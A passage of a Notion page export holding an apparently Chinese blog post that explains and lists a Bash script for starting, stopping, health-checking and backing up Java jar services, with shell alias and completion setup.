fi\n}\n"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079292351,"last_edited_time":1706079503420,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6d929a34-3041-4f19-acdb-c1db601c49dc":{"value":{"id":"6d929a34-3041-4f19-acdb-c1db601c49dc","type":"sub_header","properties":{"title":[["停止服务"]]},"created_time":1706078558353,"last_edited_time":1706079332768,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f5002c9f-3330-4c74-91e4-2bd2be6cc9df":{"value":{"id":"f5002c9f-3330-4c74-91e4-2bd2be6cc9df","type":"quote","properties":{"title":[["使用kill -15来杀程序,如果超过60s,就直接kill -9"]]},"created_time":1706079599759,"last_edited_time":1706079675701,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"714774d8-cd7a-426f-97f5-f1a0a1019e8b":{"value":{"id":"714774d8-cd7a-426f-97f5-f1a0a1019e8b","type":"code","properties":{"title":[["#停止服务\nstop_service() {\n  local pid=$1\n  echo \"开始停止程序中: $pid\"\n  kill -15 \"$pid\"\n\n  # 等待程序结束\n  for i in $(seq 60); do\n    # 检查进程是否还在运行\n    if ! ps -p \"$pid\" > /dev/null; then\n      echo \"停止程序已完成:$pid\"\n      return 0\n    fi\n    # 等待一秒\n    sleep 1\n  done\n\n  # 如果程序还在运行,发送 SIGKILL\n  echo \"程序仍在运行,发送 SIGKILL\"\n  kill -9 \"$pid\"\n}\n"]],"language":[["Bash"]]},"created_time":1706079340376,"last_edited_time":1706079353272,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d23b738a-4977-45dd-9e87-4ac4299f8a2c":{"value":{"id":"d23b738a-4977-45dd-9e87-4ac4299f8a2c","type":"sub_header","properties":{"title":[["启动服务"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079425809,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"dd5cbc1b-7940-4623-b4e1-372257a167fd":{"value":{"id":"dd5cbc1b-7940-4623-b4e1-372257a167fd","type":"quote","properties":{"title":[["这里无非就是组装最终运行的部署语句"]]},"created_time":1706079679340,"last_edited_time":1706079706468,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"015bbc44-0520-411b-8c93-e8828b0241e4":{"value":{"id":"015bbc44-0520-411b-8c93-e8828b0241e4","type":"code","properties":{"title":[["#启动服务\nstart_service(){\n  set_jvm_opts $jar\n  filename=$(basename -- \"$jar\")\n  export SW_AGENT_NAME=\"${filename%.*}\"\n  output=\"/dev/null\"\n  nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\n  echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\"\n  # 检查是否有 -q 参数\n  if [ \"$2\" == \"-q\" ]\n  then\n      echo \"部署语句已执行:$jar\"\n  else\n      tail -f $output\n  fi\n}\n"]],"language":[["Bash"]]},"created_time":1706079370651,"last_edited_time":1706079429534,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d850969-c7f1-4278-9189-7b8a880d6922":{"value":{"id":"8d850969-c7f1-4278-9189-7b8a880d6922","type":"sub_header","properties":{"title":[["启动完成检查"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079391937,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"85c59e46-5afc-44f7-8d92-24dfdb79e418":{"value":{"id":"85c59e46-5afc-44f7-8d92-24dfdb79e418","type":"quote","properties":{"title":[["由于我的java项目一般会把info级别的日志文件放在同级目录,通过检测关键字来实现启动完成监控"]]},"created_time":1706079710439,"last_edited_time":1706079779024,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936":{"value":{"id":"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","type":"code","properties":{"title":[["#健康检查\nhealth_check() {\n  exptime=0\n\n  while true; do\n    for log in \"${CHECK_LOGS[@]}\"; do\n      if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n        echo -e \"\\n服务已成功启动: $jar\"\n        return 0\n      fi\n    done\n    if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n      echo -e \"\\n服务启动检查超时,请手动检查\"\n      break\n    else\n      echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n    fi\n\n    sleep 1\n    ((exptime++))\n  done\n}\n"]],"language":[["Bash"]]},"created_time":1706079393878,"last_edited_time":1706079401922,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"2c676e25-8325-4e28-a93c-2a14c18c16f9":{"value":{"id":"2c676e25-8325-4e28-a93c-2a14c18c16f9","type":"sub_header","properties":{"title":[["备份"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079408241,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"aa4dcc52-95a6-47a4-88e5-b4275689bcda":{"value":{"id":"aa4dcc52-95a6-47a4-88e5-b4275689bcda","type":"quote","properties":{"title":[["自动备份到指定目录,并且做到限制备份数目,自动清除等效果"]]},"created_time":1706079786312,"last_edited_time":1706079833479,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"7b911799-39b3-4e6e-8aa4-a18618a47f88":{"value":{"id":"7b911799-39b3-4e6e-8aa4-a18618a47f88","type":"code","properties":{"title":[["#备份\nbackup() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    backup_dir=\"./backup/${filename%.*}\"\n    # 确保备份目录存在\n    mkdir -p $backup_dir\n\n    # 备份 .jar 文件,并添加时间戳\n    timestamp=$(date \"+%Y%m%d%H%M%S\")\n    path=$backup_dir/$(basename $jar).$timestamp\n    mv $jar $path\n\n    # 检查备份目录中的文件数量\n    file_count=$(ls -t $backup_dir | wc -l)\n    echo \"当前备份目录为:$backup_dir\"\n    echo \"当前备份数目为:$file_count\"\n    echo \"当前备份文件为:$path\"\n    if [ $file_count -gt 5 ]; then\n        cd $backup_dir\n        # 删除最旧的文件\n        rm -f \"$(ls -t | tail -1)\"\n        cd -\n    fi\n}"]],"language":[["Bash"]]},"created_time":1706079411099,"last_edited_time":1706079842806,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"dae3dcc6-9abb-45e7-8cd0-96e67fb23514":{"value":{"id":"dae3dcc6-9abb-45e7-8cd0-96e67fb23514","type":"header","properties":{"title":[["环境变量配置"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706079947292,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"d044fa90-43bf-464b-b804-b1952f91548b":{"value":{"id":"d044fa90-43bf-464b-b804-b1952f91548b","type":"sub_header","properties":{"title":[["配置~/.bash_profile"]]},"created_time":1706079947440,"last_edited_time":1706079996698,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da":{"value":{"id":"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","type":"code","properties":{"title":[["#加上这一句\nalias deploy='/xxxx/deploy.sh'\n\n#然后保存.bash_profile并退出,再source一下\nsource ~/.bash_profile"]],"language":[["Bash"]]},"created_time":1706080001835,"last_edited_time":1706080051777,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"12211a14-1feb-449b-beab-abea67e70635":{"value":{"id":"12211a14-1feb-449b-beab-abea67e70635","type":"sub_header","properties":{"title":[["配置自动补全"]]},"created_time":1706080026932,"last_edited_time":1706080082350,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"4fa90686-3a74-46ec-a088-962d442891e0":{"value":{"id":"4fa90686-3a74-46ec-a088-962d442891e0","type":"code","properties":{"title":[["#安装这个\nyum -y install bash-completion\n\n\n## 把下面所有加到.bash_profile并source\n\n\n# 定义补全函数\n_deploy_complete()\n{\n    local cur prev opts\n    COMPREPLY=()\n    cur=\"${COMP_WORDS[COMP_CWORD]}\"\n    prev=\"${COMP_WORDS[COMP_CWORD-1]}\"\n\n# 第一个参数的补全选项\n    opts=\"start stop restart list backup\"\n\n# 如果是第一个参数,那么补全选项为opts\nif [[ ${COMP_CWORD} -eq 1 ]] ; then\n        COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}) )\n        return 0\n    fi\n\n# 如果是第二个参数,那么补全选项为当前目录下的jar文件\nif [[ ${COMP_CWORD} -eq 2 ]] ; then\n        COMPREPLY=( $(compgen -W \"$(ls | grep jar)\" -- ${cur}) )\n        return 0\n    fi\n}\n\n# 将这个函数绑定到`deploy`命令上\ncomplete -F _deploy_complete deploy"]],"language":[["Bash"]]},"created_time":1706080085768,"last_edited_time":1706080157690,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"af722408-abb3-480e-9546-752a8866c509":{"value":{"id":"af722408-abb3-480e-9546-752a8866c509","type":"header","properties":{"title":[["效果"]]},"created_time":1706080016178,"last_edited_time":1706080352027,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"0cdbdf1b-35ba-4404-9235-3d8625c1eac0":{"value":{"id":"0cdbdf1b-35ba-4404-9235-3d8625c1eac0","type":"sub_header","properties":{"title":[["备份"]]},"created_time":1706080341893,"last_edited_time":1706080346302,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"23f697fb-ec30-4920-becf-b2569bb235d0":{"value":{"id":"23f697fb-ec30-4920-becf-b2569bb235d0","type":"image","properties":{"size":[["39.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png"]]},"format":{"block_width":862,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45707656612529,"block_preserve_scale":true},"created_time":1706080421079,"last_edited_time":1706080424570,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["9007636a-7168-467c-bccd-fcf31712bf3d"]}},"8566becf-9f13-4e17-800f-8c73a9d69d10":{"value":{"id":"8566becf-9f13-4e17-800f-8c73a9d69d10","type":"sub_header","properties":{"title":[["重启"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080354831,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6fc3b1c1-279c-4da3-9b48-a286c69a4620":{"value":{"id":"6fc3b1c1-279c-4da3-9b48-a286c69a4620","type":"image","properties":{"size":[["72.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png"]]},"format":{"block_width":1166,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4090909090909091,"block_preserve_scale":true},"created_time":1706080404843,"last_edited_time":1706080407833,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["f7983c27-0d6c-4279-9ec4-753138725f56"]}},"ebb9c14c-4573-4673-9f41-923621db6503":{"value":{"id":"ebb9c14c-4573-4673-9f41-923621db6503","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5f09bd20-4152-4fbf-9234-6358f7ca9002":{"value":{"id":"5f09bd20-4152-4fbf-9234-6358f7ca9002","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1af18956-4491-4646-8812-8c26899d094c":{"value":{"id":"1af18956-4491-4646-8812-8c26899d094c","type":"header","properties":{"title":[["最终部署脚本"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080332892,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"39cf1bf0-7c68-42aa-8ada-11e74af9da6e":{"value":{"id":"39cf1bf0-7c68-42aa-8ada-11e74af9da6e","type":"code","properties":{"title":[["#!/bin/bash\n\n#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=()               #定义全局的PIDS数组\nWORK_DIR=(            #当前程序的工作目录\n          /Users/y/IdeaProjects/A-script/sh\n          /home/\n          /root/prod\n          )\nCHECK_LOGS=(          #日志检查关键字\n  \"开始订阅滚动日志\"\n  \"服务启动成功\"\n  \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0       # 脚本名称\nACTION=$1            # 脚本接受的第一个参数\nshift                # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\"             # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------\n\n\n\n#-----------------------------函数声明START----------------------------\n#用法说明\n\n#使用说明\nusage() {\n  echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n  end\n  exit 2\n}\n# 检查输入参数\ncheck_input() {\n    jar=$1\n\n    # list 操作接受 *.jar 作为参数\n    if [[ $ACTION == \"list\" && $jar == *.jar ]]; then\n        return 0\n    fi\n\n    # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n    if [[ $ACTION != \"list\" && ($jar != *.jar || ! -f $jar) ]]; then\n        echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n        end\n        exit 0\n    fi\n}\n#欢迎脚本答应\nwelcome(){\n  echo '''\n---------------------------脚本正在启动-------------------------------\n\n        ████████   ██████   ███   ███  ███   ██  █\n\n  '''\n  echo \"                   当前脚本环境:$ENV\n\n  \"\n}\n#结束脚本打印\nend(){\n  echo '''\n----------------------------脚本已经完成-------------------------------\n  '''\n}\n# 设置 JVM_OPTS\nset_jvm_opts() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    #生产环境\n    if [[ $ENV == \"prod\" ]]; then\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n      else\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      fi\n    #非生产环境\n    else\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      else\n          export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n      fi\n    fi\n\n}\n#检查当前脚本运行目录\ncheck_directory() {\n  # 获取脚本的运行目录\n  script_dir=$(pwd \"$0\")\n  echo \"此脚本工作目录:$script_dir\"\n\n  # 标识,初始为 false\n  valid_dir=false\n\n  # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n  for dir in \"${WORK_DIR[@]}\"; do\n    if [[ $script_dir == $dir* ]]; then\n      valid_dir=true\n      break\n    fi\n  done\n\n  # 如果标识仍为 false,打印一条消息并退出脚本\n  if ! $valid_dir; then\n    echo \"不满足以下目录:${WORK_DIR[*]}. \"\n    end\n    exit 0\n  fi\n}\n#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto pet-mall\nlist_service() {\n  echo \"获取程序运行中:$jar\"\n  # 使用ps和grep获取包含jar包名的进程\n  local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i<=NF; i++) printf $i \" \"; print \"\"}')\n\n  # 逐行读取lines变量的值\n  while IFS= read -r line; do\n    # 使用空格将行切割为数组\n    array=($line)\n\n    # 第一个元素是PID\n    pid=${array[0]}\n\n    # 剩下的元素是命令行参数\n    cmdline=${line#\"$pid \"}  # 使用参数扩展移除PID\n    cmdline_cut=$(echo $cmdline | cut -c 1-150)  # 保留前50个字符\n\n   # 只在找到进程时打印信息\n    if [ ! -z \"$pid\" ]; then\n      printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\"  # 格式化输出\n      PIDS+=(\"$pid\")\n    fi\n  done <<< \"$lines\"\n\n  # 如果没有找到任何服务,打印提示信息\n  if [ -z \"$lines\" ]; then\n    echo \"没有进程包含有:$1\"\n  fi\n}\n#停止服务\nstop_service() {\n  local pid=$1\n  echo \"开始停止程序中: $pid\"\n  kill -15 \"$pid\"\n\n  # 等待程序结束\n  for i in $(seq 60); do\n    # 检查进程是否还在运行\n    if ! ps -p \"$pid\" > /dev/null; then\n      echo \"停止程序已完成:$pid\"\n      return 0\n    fi\n    # 等待一秒\n    sleep 1\n  done\n\n  # 如果程序还在运行,发送 SIGKILL\n  echo \"程序仍在运行,发送 SIGKILL\"\n  kill -9 \"$pid\"\n}\n#启动服务\nstart_service(){\n  set_jvm_opts $jar\n  filename=$(basename -- \"$jar\")\n  export SW_AGENT_NAME=\"${filename%.*}\"\n#  output=\"./${SW_AGENT_NAME}.log\"\n#  touch $output\n#  在脚本退出时删除日志文件\n#  trap 'rm -f ./${SW_AGENT_NAME}.log' EXIT\n  output=\"/dev/null\"\n  nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\n  echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\"\n  # 检查是否有 -q 参数\n  if [ \"$2\" == \"-q\" ]\n  then\n      echo \"部署语句已执行:$jar\"\n  else\n      tail -f $output\n  fi\n}\n#健康检查\nhealth_check() {\n  exptime=0\n\n  while true; do\n    for log in \"${CHECK_LOGS[@]}\"; do\n      if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n        echo -e \"\\n服务已成功启动: $jar\"\n        return 0\n      fi\n    done\n    if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n      echo -e \"\\n服务启动检查超时,请手动检查\"\n      break\n    else\n      echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n    fi\n\n    sleep 1\n    ((exptime++))\n  done\n}\n#备份\nbackup() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    backup_dir=\"./backup/${filename%.*}\"\n    # 确保备份目录存在\n    mkdir -p $backup_dir\n\n    # 备份 .jar 文件,并添加时间戳\n    timestamp=$(date \"+%Y%m%d%H%M%S\")\n    path=$backup_dir/$(basename $jar).$timestamp\n    mv $jar $path\n\n    # 检查备份目录中的文件数量\n    file_count=$(ls -t $backup_dir | wc -l)\n    echo \"当前备份目录为:$backup_dir\"\n    echo \"当前备份数目为:$file_count\"\n    echo \"当前备份文件为:$path\"\n    if [ $file_count -gt 5 ]; then\n        cd $backup_dir\n        # 删除最旧的文件\n        rm -f \"$(ls -t | tail -1)\"\n        cd -\n    fi\n}\n#启动脚本\nstart() {\n  start_service $jar -q\n  health_check $jar\n  list_service $jar\n}\n#停止脚本\nstop() {\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      stop_service $pid\n    fi\n  done\n}\n#-----------------------------函数声明END----------------------------\n\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n  check_input $jar\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      echo \"存在应用在运行:请使用restart命令\"\n      end\n      exit 0\n    fi\n  done\n  start\n  ;;\nstop)\n  check_input $jar\n  stop\n  ;;\nrestart)\n  check_input $jar\n  stop\n  start\n  ;;\nlist)\n  check_input $jar\n  list_service $jar\n  ;;\nbackup)\n  check_input $jar\n  backup $jar\n  ;;\n*)\n  usage\n  ;;\nesac\n\nend"]],"language":[["Bash"]]},"created_time":1706079853791,"last_edited_time":1706079931676,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3b508db8-425b-4c77-83d0-9eba50c4ef24":{"value":{"id":"3b508db8-425b-4c77-83d0-9eba50c4ef24","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"dffd5b0d-8df5-4399-96a3-63793dbd16d0":{"value":{"id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","type":"column_list","content":["01d74399-1984-4db8-b232-71694c4f7aef","5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","056999ba-b162-4bdd-b94f-66abf2db1bdf"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"01d74399-1984-4db8-b232-71694c4f7aef":{"value":{"id":"01d74399-1984-4db8-b232-71694c4f7aef","type":"column","content":["339737bc-36d6-4e00-ae14-9b1855021a83"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7":{"value":{"id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","type":"column","content":["4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","a3e87d87-21dd-406d-8b6f-18e04e3330d5"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"056999ba-b162-4bdd-b94f-66abf2db1bdf":{"value":{"id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","type":"column","content":["85f4203b-c3c4-4987-a73d-4830494b33be"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"339737bc-36d6-4e00-ae14-9b1855021a83":{"value":{"id":"339737bc-36d6-4e00-ae14-9b1855021a83","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"01d74399-1984-4db8-b232-71694c4f7aef","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed":{"value":{"id":"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"85f4203b-c3c4-4987-a73d-4830494b33be":{"value":{"id":"85f4203b-c3c4-4987-a73d-4830494b33be","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"a3e87d87-21dd-406d-8b6f-18e04e3330d5":{"value":{"id":"a3e87d87-21dd-406d-8b6f-18e04e3330d5","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16":{"value":{"id":"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16","type":"text","format":{"copied_from_pointer":{"id":"d23c967c